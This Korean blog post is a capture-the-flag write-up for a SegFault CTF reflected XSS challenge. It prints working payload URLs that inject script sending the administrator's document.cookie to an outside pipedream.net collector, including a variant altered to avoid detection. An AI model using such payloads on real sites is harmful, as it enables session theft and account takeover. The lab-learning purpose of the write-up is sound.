상세 컨텐츠

본문 제목

Segfault CTF - (10주 차) XSS 2

컴퓨터/보안 - CTF문제

by 디멘터 2024. 6. 25. 17:56

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - XSS 2

 

 

1. 목표 : 관리자의 Cookie를 탈취하세요!

2. 실행 

  • XSS 취약점 찾기
    [보안 공부] 9주 차 - XSS(크로스 사이트 스크립팅), 보고서 작성에서 검색 기능에서 취약점을 발견 했었고, GET method로 활용하려고 한다.
  • Reflected XSS를 위해 POST로 처리되고 있는 검색어를 GET method로 변환하기
    검색 기능 테스트
    POST method로 되어있어서 Reflected XSS를 하기엔 악성 스크립트를 넣을 공간이 없다.
    리피터에서 우클릭 - Change request method를 눌러주면
    편하게 GET method URL을 얻을 수 있다.
  • 스크립트 작성 및 쿠키 탈취하기
    스크립트는 아래와 같고,
    '); var i = new Image(); i.src=" https://enmqaeuyiny5.x.pipedream.net/?cookiedata= "+document.cookie; alert(' 

    완성된 공격용 URL은 아래와 같다.
    http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result='); var i = new Image(); i.src="https://enmqaeuyiny5.x.pipedream.net/?cookiedata="+document.cookie; alert('&board_search= %F0%9F%94%8D &date_from=&date_to=

    참고로, URL인코딩은 아래와 같다.
    http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result=%27%29%3B+var+i+%3D+new+Image%28%29%3B+i.src%3D%22https%3A%2F%2Fenmqaeuyiny5.x.pipedream.net%2F%3Fcookiedata%3D%22%2Bdocument.cookie%3B+alert%28%27&board_search=%F0%9F%94%8D&date_from=&date_to=
    하지만 관리자가 알아 차렸다.

    아래와 같이 파라미터를 alert('에서 //로 바꿔보았다. 

    http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result='); var i = new Image(); i.src="https://enmqaeuyiny5.x.pipedream.net/?cookiedata="+document.cookie; alert('&board_search= %F0%9F%94%8D &date_from=&date_to=

    http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result='); var i = new Image(); i.src="https://enmqaeuyiny5.x.pipedream.net/?cookiedata="+document.cookie; //&board_search= %F0%9F%94%8D &date_from=&date_to=

  • 관리자 쿠키 획득하기

쿠키에 flag가 있었다.

 

 

 

 

관련글 더보기